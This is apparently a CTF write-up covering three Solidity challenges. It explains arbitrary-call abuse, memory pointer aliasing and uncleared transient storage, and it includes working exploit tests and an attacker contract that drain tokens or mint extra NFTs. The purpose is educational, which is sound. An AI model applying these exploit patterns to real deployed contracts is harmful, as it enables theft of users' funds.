SmartSecRiddles CTF Solutions
Overview
This CTF challenge series is designed around real-world vulnerabilities, showcasing key concepts such as malicious calldata, memory pointers/references in Solidity, and transient storage. My solutions are available on GitHub.
CallMeMaybe
This smart contract enables users to pool their tokens and call other contracts with a larger sum. You start with 1 token (1e18), while the contract holds 300 tokens. The objective is to steal both the contract's 300 tokens and any tokens from users who have approved it to spend their balance. The solution exploits the usePooledWealth
function to force token transfers from users to the contract and grant approval for our address to spend its entire balance, allowing us to withdraw the tokens.
My solution is available on GitHub: CallMeMaybe Solution.
// group mebers can flashloan tokens
function usePooledWealth(bytes memory _calldata, address _target) external {
require(depositers[msg.sender], "Don't be shy, join the group first");
uint256 startBalance = IERC20(token).balanceOf(address(this));
// make call here
@> _target.call(_calldata);
require(IERC20(token).balanceOf(address(this)) >= startBalance, "Isn't the point of crypto to trust each other, smh");
}
Since the usePooledWealth
function does not validate the _target
and _calldata
parameters, we can exploit this by passing the token contract address as _target
. When the contract executes the _target.call
, it will process any calldata provided by the user.
Given that users have already approved the CallMeMaybe
contract to spend their tokens, we can force the transfer of their tokens to the contract by crafting calldata such as:
transferFrom(userAddr, callMeMaybeAddr, token.balanceOf(user))
This will transfer the user's entire token balance to the CallMeMaybe
contract. Once the contract holds all the approved tokens, we can further exploit it by making the contract approve our address to spend its entire balance. We achieve this by calling the usePooledWealth
function again, passing the token address as _target
and the following calldata:
approve(address(attacker), type(uint256).max)
This sets the allowance for our address to the maximum possible value (type(uint256).max
). Once the contract has approved our address to spend its entire balance, we can transfer all the tokens to ourselves by calling:
token.transferFrom(callMeMaybeAddr, attackerAddr, token.balanceOf(callMeMaybeAddr))
This effectively drains all the tokens held by the CallMeMaybe
contract.
BeProductive
The BeProductive smart contract helps users save money by allowing them to set goals and lock up tokens. Upon reaching their goal, they can call completeGoal()
to receive their saved amount plus an additional 100 tokens as a reward. To encourage planning, the contract also has a plan()
function that rewards users with 0.1 tokens for calculating how far they are from their goal.
My solution is available on Github: BeProductive Solution
Vulnerability Analysis
The vulnerability in BeProductive lies in its improper handling of memory pointers. Specifically, the issue is in how the contract uses memory variables within the plan()
function. Here's the critical snippet:
currTracker.saved += 0.1 ether;
envisionedTracker.saved += _amount;
goalTracker[msg.sender] = currTracker;
The key problem is that envisionedTracker
is set as a pointer to currTracker
. When envisionedTracker
is updated, it unintentionally updates currTracker
as well, causing currTracker.saved
to be set to _amount
. This allows an attacker to manipulate their saved amount by passing a value for _amount
that includes the contract's balance of tokens, effectively giving them access to all funds.
Exploit Strategy
Create an Arbitrary Goal: Start by creating a savings goal of 50 ether + 1, which is the minimum required to call
createGoal
and approving the target contract to spend our entire balance.Manipulate with
plan()
: Callplan()
with the amount equal to the goal's starting amount minus the contract's entire token balance. This leverages the memory pointer vulnerability to set the saved amount to the total balance.Complete the Goal: Finally, call
completeGoal()
to receive all saved tokens, including those manipulated in the previous step.
Exploit Code
function test_GetThisPassing_4() public {
address hacker = address(0xBAD);
address targetAddr = address(target);
uint256 initialBalance = token.balanceOf(hacker);
vm.startPrank(hacker);
token.approve(targetAddr, initialBalance);
target.createGoal(initialBalance, 50 ether + 1);
target.plan(token.balanceOf(targetAddr) - initialBalance);
target.completeGoal();
vm.stopPrank();
assertGt(token.balanceOf(hacker), 700 ether);
}
Lessons Learned
This challenge demonstrates the importance of understanding how memory pointers work in Solidity. Memory variables that act as pointers can introduce unintended behavior when reassigned, leading to critical security flaws. Auditing code for pointer assignments and state changes is crucial to ensuring smart contract security.
Solution on GitHub
You can find my full solution for BeProductive on GitHub.
Transient Trouble
Transient Trouble revolves around the ExclusiveClub
smart contract, which allows users to join an exclusive club by paying a fee and receiving an NFT as a membership ticket. The contract uses transient storage to verify that a user has paid the admission fee before minting the ticket. If you're unfamiliar with transient storage or want a deeper dive into its implications and best practices, check out my detailed blog post: Transient Storage in Ethereum: A Comprehensive Guide.
My solution is available on Github: TransientTrouble Solution
Vulnerability Analysis
The vulnerability arises from improper handling of transient storage. Unlike regular storage, transient storage is cleared only at the end of a transaction, not at the end of each function call. This design flaw allows an attacker to call payAdmission()
once and then repeatedly call receiveTicket()
within the same transaction, minting multiple tickets for a single payment.
Exploit Strategy
The strategy involves:
- Setting Transient Storage: Call
payAdmission()
to set the transient storage flag. - Exploiting Transient Storage: Call
receiveTicket()
multiple times within the same transaction, allowing the minting of multiple NFTs. - Collecting the NFTs: Transfer the minted NFTs to the attacker's address.
Exploit Code
To exploit this, we deploy an attacker contract to group all the necessary steps within a single transaction:
contract Exploit {
ExclusiveClub daClub;
NFT ticket;
constructor(ExclusiveClub _daClub, NFT _ticket) payable {
daClub = _daClub;
ticket = _ticket;
}
function exploit() external {
daClub.externalJoinClub{value: 0.1 ether}();
daClub.receiveTicket();
daClub.receiveTicket();
ticket.transferFrom(address(this), address(0xBAD), 0);
ticket.transferFrom(address(this), address(0xBAD), 1);
ticket.transferFrom(address(this), address(0xBAD), 2);
}
}
And the corresponding test function:
function test_GetThisPassing_8() public {
address hacker = address(0xBAD);
vm.startPrank(hacker);
Exploit e = new Exploit{value: 0.1 ether}(daClub, ticket);
e.exploit();
vm.stopPrank();
assertGt(ticket.balanceOf(hacker), 2);
}
Lessons Learned
This exploit showcases the risks of using transient storage without explicitly clearing it after critical operations. It also demonstrates how composability issues can arise when contracts are called multiple times within the same transaction. Developers must be cautious when using transient storage, especially for reentrancy guards and state validation.
If you're interested in learning more about transient storage and its implications on smart contract security, read my blog post: Transient Storage in Ethereum: A Comprehensive Guide.
Solution on GitHub
You can find my full solution for Transient Trouble on GitHub.